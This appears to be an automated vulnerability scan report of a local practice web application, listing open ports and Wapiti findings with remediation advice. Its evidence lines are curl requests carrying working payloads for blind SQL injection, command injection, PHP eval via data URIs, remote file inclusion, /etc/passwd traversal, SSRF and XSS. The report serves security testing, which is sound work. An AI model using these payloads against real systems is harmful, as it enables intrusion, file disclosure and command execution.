Red Hawk

Target information

Domain
localhost

IP Address
127.0.0.1

Date
08/15/2021 11:29 a.m.

Nmap

Gathered information

Nmap done at Sun Aug 15 11:17:14 2021; 1 IP address (1 host up) scanned in 104.34 seconds

Open ports

80
Service: http
Protocol: tcp

5432
Service: postgresql
Protocol: tcp

8000
Service: http-alt
Protocol: tcp

Shodan

The host which you are trying to scan is not available in Shodan, your api key is miss configured or you have reached your max api queries.

Wapiti - Web Application Vulnerability Scanner

Vulnerabilities (45)

Category: Blind SQL Injection

Description: Blind SQL vulnerability via injection in the parameter number

Solution: To protect against SQL injection, user input must not directly be embedded in SQL statements. Instead, user input must be escaped or filtered or parameterized statements must be used.

Evidence: curl "http://localhost:9991/www/SQL/sql6.php?number=%27+or+sleep%287%29%231&submit=Submit" -e "http://localhost:9991/www/SQL/sql6.php"

Category: Blind SQL Injection

Description: Blind SQL vulnerability via injection in the parameter submit1

Solution: To protect against SQL injection, user input must not directly be embedded in SQL statements. Instead, user input must be escaped or filtered or parameterized statements must be used.

Evidence: curl "http://localhost:9991/www/" -e "http://localhost:9991/www/" -d "submit1=sleep%287%29%231"

Category: Blind SQL Injection

Description: Blind SQL vulnerability via injection in the parameter firstname

Solution: To protect against SQL injection, user input must not directly be embedded in SQL statements. Instead, user input must be escaped or filtered or parameterized statements must be used.

Evidence: curl "http://localhost:9991/www/SQL/sql1.php" -e "http://localhost:9991/www/SQL/sql1.php" -d "firstname=%27+or+sleep%287%29%231&submit=Submit"

Category: Blind SQL Injection

Description: Blind SQL vulnerability via injection in the parameter number

Solution: To protect against SQL injection, user input must not directly be embedded in SQL statements. Instead, user input must be escaped or filtered or parameterized statements must be used.

Evidence: curl "http://localhost:9991/www/SQL/sql2.php" -e "http://localhost:9991/www/SQL/sql2.php" -d "number=sleep%287%29%231&submit=Submit"

Category: Blind SQL Injection

Description: Blind SQL vulnerability via injection in the parameter number

Solution: To protect against SQL injection, user input must not directly be embedded in SQL statements. Instead, user input must be escaped or filtered or parameterized statements must be used.

Evidence: curl "http://localhost:9991/www/SQL/sql3.php" -e "http://localhost:9991/www/SQL/sql3.php" -d "number=%27+or+sleep%287%29%231&submit=Submit"

Category: Blind SQL Injection

Description: Blind SQL vulnerability via injection in the parameter number

Solution: To protect against SQL injection, user input must not directly be embedded in SQL statements. Instead, user input must be escaped or filtered or parameterized statements must be used.

Evidence: curl "http://localhost:9991/www/SQL/sql4.php" -e "http://localhost:9991/www/SQL/sql4.php" -d "number=sleep%287%29%231&submit=Submit"

Category: Content Security Policy Configuration

Description: CSP is not set

Solution: Configuring Content Security Policy involves adding the Content-Security-Policy HTTP header to a web page and giving it values to control what resources the user agent is allowed to load for that page.

Evidence: curl "http://localhost:9991/"

Category: Content Security Policy Configuration

Description: CSP is not set

Solution: Configuring Content Security Policy involves adding the Content-Security-Policy HTTP header to a web page and giving it values to control what resources the user agent is allowed to load for that page.

Evidence: curl "http://localhost:9991/"

Category: Content Security Policy Configuration

Description: CSP is not set

Solution: Configuring Content Security Policy involves adding the Content-Security-Policy HTTP header to a web page and giving it values to control what resources the user agent is allowed to load for that page.

Evidence: curl "http://localhost:9991/"

Category: Content Security Policy Configuration

Description: CSP is not set

Solution: Configuring Content Security Policy involves adding the Content-Security-Policy HTTP header to a web page and giving it values to control what resources the user agent is allowed to load for that page.

Evidence: curl "http://localhost:9991/"

Category: Command execution

Description: Command execution via injection in the parameter username

Solution: Prefer working without user input when using file system calls.

Evidence: curl "http://localhost:9991/www/CommandExecution/CommandExec-1.php?username=a%3Benv%3B&password=" -e "http://localhost:9991/www/CommandExecution/CommandExec-1.php"

Category: Command execution

Description: Command execution via injection in the parameter typeBox

Solution: Prefer working without user input when using file system calls.

Evidence: curl "http://localhost:9991/www/CommandExecution/CommandExec-2.php?typeBox=%3Benv%3B" -e "http://localhost:9991/www/CommandExecution/CommandExec-2.php"

Category: Command execution

Description: Command execution via injection in the parameter typeBox

Solution: Prefer working without user input when using file system calls.

Evidence: curl "http://localhost:9991/www/CommandExecution/CommandExec-3.php?typeBox=%3Benv%3B" -e "http://localhost:9991/www/CommandExecution/CommandExec-3.php"

Category: Command execution

Description: Command execution via injection in the parameter typeBox

Solution: Prefer working without user input when using file system calls.

Evidence: curl "http://localhost:9991/www/CommandExecution/CommandExec-4.php?typeBox=%3Benv%3B" -e "http://localhost:9991/www/CommandExecution/CommandExec-4.php"

Category: Command execution

Description: PHP evaluation via injection in the parameter file

Solution: Prefer working without user input when using file system calls.

Evidence: curl "http://localhost:9991/www/FileInclusion/pages/lvl1.php?file=data%3A%3Bbase64%2CPD9waHAgZWNobyAndzRwMXQxJywnX2V2YWwnOyA%2FPg%3D%3D"

Category: Command execution

Description: PHP evaluation via injection in the parameter file

Solution: Prefer working without user input when using file system calls.

Evidence: curl "http://localhost:9991/www/FileInclusion/pages/lvl2.php?file=data%3A%3Bbase64%2CPD9waHAgZWNobyAndzRwMXQxJywnX2V2YWwnOyA%2FPg%3D%3D"

Category: Path Traversal

Description: Remote inclusion vulnerability via injection in the parameter file

Solution: Prefer working without user input when using file system calls. Use indexes rather than actual portions of file names when templating or using language files (eg: value 5 from the user submission = Czechoslovakian, rather than expecting the user to return 'Czechoslovakian'). Ensure the user cannot supply all parts of the path - surround it with your path code. Validate the user's input by only accepting known good - do not sanitize the data. Use chrooted jails and code access policies to restrict where the files can be obtained or saved to.

Evidence: curl "http://localhost:9991/www/FileInclusion/pages/lvl1.php?file=https%3A%2F%2Fwapiti3.ovh%2Fe.php"

Category: Path Traversal

Description: Linux local file disclosure vulnerability via injection in the parameter file

Solution: Prefer working without user input when using file system calls. Use indexes rather than actual portions of file names when templating or using language files (eg: value 5 from the user submission = Czechoslovakian, rather than expecting the user to return 'Czechoslovakian'). Ensure the user cannot supply all parts of the path - surround it with your path code. Validate the user's input by only accepting known good - do not sanitize the data. Use chrooted jails and code access policies to restrict where the files can be obtained or saved to.

Evidence: curl "http://localhost:9991/www/FileInclusion/pages/lvl2.php?file=%2Fetc%2Fpasswd"

Category: Path Traversal

Description: Possible include() vulnerability via injection in the parameter file (Constraints: suffix)

Solution: Prefer working without user input when using file system calls. Use indexes rather than actual portions of file names when templating or using language files (eg: value 5 from the user submission = Czechoslovakian, rather than expecting the user to return 'Czechoslovakian'). Ensure the user cannot supply all parts of the path - surround it with your path code. Validate the user's input by only accepting known good - do not sanitize the data. Use chrooted jails and code access policies to restrict where the files can be obtained or saved to.

Evidence: curl "http://localhost:9991/www/FileInclusion/pages/lvl3.php?file=lvl3.php"

Category: HTTP Secure Headers

Description: X-Frame-Options is not set

Solution: Use the recommendations for hardening your HTTP Security Headers.

Evidence: curl "http://localhost:9991/"

Category: HTTP Secure Headers

Description: X-XSS-Protection is not set

Solution: Use the recommendations for hardening your HTTP Security Headers.

Evidence: curl "http://localhost:9991/"

Category: HTTP Secure Headers

Description: X-Content-Type-Options is not set

Solution: Use the recommendations for hardening your HTTP Security Headers.

Evidence: curl "http://localhost:9991/"

Category: HTTP Secure Headers

Description: Strict-Transport-Security is not set

Solution: Use the recommendations for hardening your HTTP Security Headers.

Evidence: curl "http://localhost:9991/"

Category: HTTP Secure Headers

Description: X-Frame-Options is not set

Solution: Use the recommendations for hardening your HTTP Security Headers.

Evidence: curl "http://localhost:9991/"

Category: HTTP Secure Headers

Description: X-XSS-Protection is not set

Solution: Use the recommendations for hardening your HTTP Security Headers.

Evidence: curl "http://localhost:9991/"

Category: HTTP Secure Headers

Category: HTTP Secure Headers

Description: X-Content-Type-Options is not set

Solution: Use the recommendations for hardening your HTTP Security Headers.

Evidence: curl "http://localhost:9991/"

Category: HTTP Secure Headers

Description: Strict-Transport-Security is not set

Solution: Use the recommendations for hardening your HTTP Security Headers.

Evidence: curl "http://localhost:9991/"

Category: HTTP Secure Headers

Description: X-Frame-Options is not set

Solution: Use the recommendations for hardening your HTTP Security Headers.

Evidence: curl "http://localhost:9991/"

Category: HTTP Secure Headers

Description: X-XSS-Protection is not set

Solution: Use the recommendations for hardening your HTTP Security Headers.

Evidence: curl "http://localhost:9991/"

Category: HTTP Secure Headers

Description: X-Content-Type-Options is not set

Solution: Use the recommendations for hardening your HTTP Security Headers.

Evidence: curl "http://localhost:9991/"

Category: HTTP Secure Headers

Description: Strict-Transport-Security is not set

Solution: Use the recommendations for hardening your HTTP Security Headers.

Evidence: curl "http://localhost:9991/"

Category: HTTP Secure Headers

Description: X-Frame-Options is not set

Solution: Use the recommendations for hardening your HTTP Security Headers.

Evidence: curl "http://localhost:9991/"

Category: HTTP Secure Headers

Description: X-XSS-Protection is not set

Solution: Use the recommendations for hardening your HTTP Security Headers.

Evidence: curl "http://localhost:9991/"

Category: HTTP Secure Headers

Description: X-Content-Type-Options is not set

Solution: Use the recommendations for hardening your HTTP Security Headers.

Evidence: curl "http://localhost:9991/"

Category: HTTP Secure Headers

Description: Strict-Transport-Security is not set

Solution: Use the recommendations for hardening your HTTP Security Headers.

Evidence: curl "http://localhost:9991/"

Category: SQL Injection

Description: SQL Injection (DMBS: MySQL) via injection in the parameter firstname

Solution: To protect against SQL injection, user input must not directly be embedded in SQL statements. Instead, user input must be escaped or filtered or parameterized statements must be used.

Evidence: curl "http://localhost:9991/www/SQL/sql1.php" -e "http://localhost:9991/www/SQL/sql1.php" -d "firstname=default%C2%BF%27%22%28&submit=Submit"

Category: Server Side Request Forgery

Description: SSRF vulnerability via injection in the parameter file. The target performed an outgoing HTTP GET request at 2021-08-02T21:47:29+02:00 with IP 94.73.60.148. Full request can be seen at https://wapiti3.ovh/ssrf_data/f74q2p/50/66696c65/1627933649-94.73.60.148.txt

Solution: Every URI received by the web application should be checked, especially scheme and hostname. A whitelist should be used.

Evidence: curl "http://localhost:9991/www/FileInclusion/pages/lvl1.php?file=http%3A%2F%2Fexternal.url%2Fpage"

Category: Cross Site Scripting

Description: XSS vulnerability found via injection in the parameter file

Solution: The best way to protect a web application from XSS attacks is ensure that the application performs validation of all headers, cookies, query strings, form fields, and hidden fields. Encoding user supplied output in the server side can also defeat XSS vulnerabilities by preventing inserted scripts from being transmitted to users in an executable form. Applications can gain significant protection from javascript based attacks by converting the following characters in all generated output to the appropriate HTML entity encoding:<, >, &, ', (,), #, %, ; , +, -

Evidence: curl "http://localhost:9991/www/FileInclusion/pages/lvl1.php?file=%3CScRiPt%3Ealert%28%27wg87f98z3l%27%29%3C%2FsCrIpT%3E"

Category: Cross Site Scripting

Description: XSS vulnerability found via injection in the parameter file

Solution: The best way to protect a web application from XSS attacks is ensure that the application performs validation of all headers, cookies, query strings, form fields, and hidden fields. Encoding user supplied output in the server side can also defeat XSS vulnerabilities by preventing inserted scripts from being transmitted to users in an executable form. Applications can gain significant protection from javascript based attacks by converting the following characters in all generated output to the appropriate HTML entity encoding:<, >, &, ', (,), #, %, ; , +, -

Evidence: curl "http://localhost:9991/www/FileInclusion/pages/lvl2.php?file=%3CScRiPt%3Ealert%28%27w5mz45imhj%27%29%3C%2FsCrIpT%3E"

Category: Cross Site Scripting

Description: XSS vulnerability found via injection in the parameter username

Solution: The best way to protect a web application from XSS attacks is ensure that the application performs validation of all headers, cookies, query strings, form fields, and hidden fields. Encoding user supplied output in the server side can also defeat XSS vulnerabilities by preventing inserted scripts from being transmitted to users in an executable form. Applications can gain significant protection from javascript based attacks by converting the following characters in all generated output to the appropriate HTML entity encoding:<, >, &, ', (,), #, %, ; , +, -

Evidence: curl "http://localhost:9991/www/XSS/XSS_level1.php?username=%3CScRiPt%3Ealert%28%27wikpzxxpes%27%29%3C%2FsCrIpT%3E&submit=Submit" -e "http://localhost:9991/www/XSS/XSS_level1.php"

Category: Cross Site Scripting

Description: XSS vulnerability found via injection in the parameter username

Solution: The best way to protect a web application from XSS attacks is ensure that the application performs validation of all headers, cookies, query strings, form fields, and hidden fields. Encoding user supplied output in the server side can also defeat XSS vulnerabilities by preventing inserted scripts from being transmitted to users in an executable form. Applications can gain significant protection from javascript based attacks by converting the following characters in all generated output to the appropriate HTML entity encoding:<, >, &, ', (,), #, %, ; , +, -

Evidence: curl "http://localhost:9991/www/XSS/XSS_level2.php?username=%3CScRiPt%3Ealert%28%27w9r6y3ymds%27%29%3C%2FsCrIpT%3E&submit=Submit" -e "http://localhost:9991/www/XSS/XSS_level2.php"

Category: Cross Site Scripting

Description: XSS vulnerability found via injection in the parameter username

Solution: The best way to protect a web application from XSS attacks is ensure that the application performs validation of all headers, cookies, query strings, form fields, and hidden fields. Encoding user supplied output in the server side can also defeat XSS vulnerabilities by preventing inserted scripts from being transmitted to users in an executable form. Applications can gain significant protection from javascript based attacks by converting the following characters in all generated output to the appropriate HTML entity encoding:<, >, &, ', (,), #, %, ; , +, -

Evidence: curl "http://localhost:9991/www/XSS/XSS_level3.php?username=%3CSvG%2FoNloAd%3Dalert%28%2Fwrbjv5jzm4%2F%29%3E&submit=Submit" -e "http://localhost:9991/www/XSS/XSS_level3.php"

Category: Cross Site Scripting

Description: XSS vulnerability found via injection in the parameter username

Solution: The best way to protect a web application from XSS attacks is ensure that the application performs validation of all headers, cookies, query strings, form fields, and hidden fields. Encoding user supplied output in the server side can also defeat XSS vulnerabilities by preventing inserted scripts from being transmitted to users in an executable form. Applications can gain significant protection from javascript based attacks by converting the following characters in all generated output to the appropriate HTML entity encoding:<, >, &, ', (,), #, %, ; , +, -

Evidence: curl "http://localhost:9991/www/XSS/XSS_level4.php?username=%3CSvG%2FoNloAd%3Dalert%28%2Fwhjx6l6hy9%2F%29%3E&submit=Submit" -e "http://localhost:9991/www/XSS/XSS_level4.php"

Category: Cross Site Scripting

Description: XSS vulnerability found via injection in the parameter number

Solution: The best way to protect a web application from XSS attacks is ensure that the application performs validation of all headers, cookies, query strings, form fields, and hidden fields. Encoding user supplied output in the server side can also defeat XSS vulnerabilities by preventing inserted scripts from being transmitted to users in an executable form. Applications can gain significant protection from javascript based attacks by converting the following characters in all generated output to the appropriate HTML entity encoding:<, >, &, ', (,), #, %, ; , +, -

Evidence: curl "http://localhost:9991/www/SQL/sql2.php" -e "http://localhost:9991/www/SQL/sql2.php" -d "number=%3CScRiPt%3Ealert%28%27wdv2v00p3i%27%29%3C%2FsCrIpT%3E&submit=Submit"

Category: Cross Site Scripting

Description: XSS vulnerability found via injection in the parameter number

Solution: The best way to protect a web application from XSS attacks is ensure that the application performs validation of all headers, cookies, query strings, form fields, and hidden fields. Encoding user supplied output in the server side can also defeat XSS vulnerabilities by preventing inserted scripts from being transmitted to users in an executable form. Applications can gain significant protection from javascript based attacks by converting the following characters in all generated output to the appropriate HTML entity encoding:<, >, &, ', (,), #, %, ; , +, -

Evidence: curl "http://localhost:9991/www/SQL/sql4.php" -e "http://localhost:9991/www/SQL/sql4.php" -d "number=%3CScRiPt%3Ealert%28%22w6r870tlut%22%29%3C%2FsCrIpT%3E&submit=Submit"

WPScan - WordPress Vulnerability Scanner

Gathered Information

It seems that host is reachable but it isn't running WordPress as CMS

CMSeek - CMS Scanner (Joomla)

Gathered information

It seems that host is reachable but it isn't running Joomla as CMS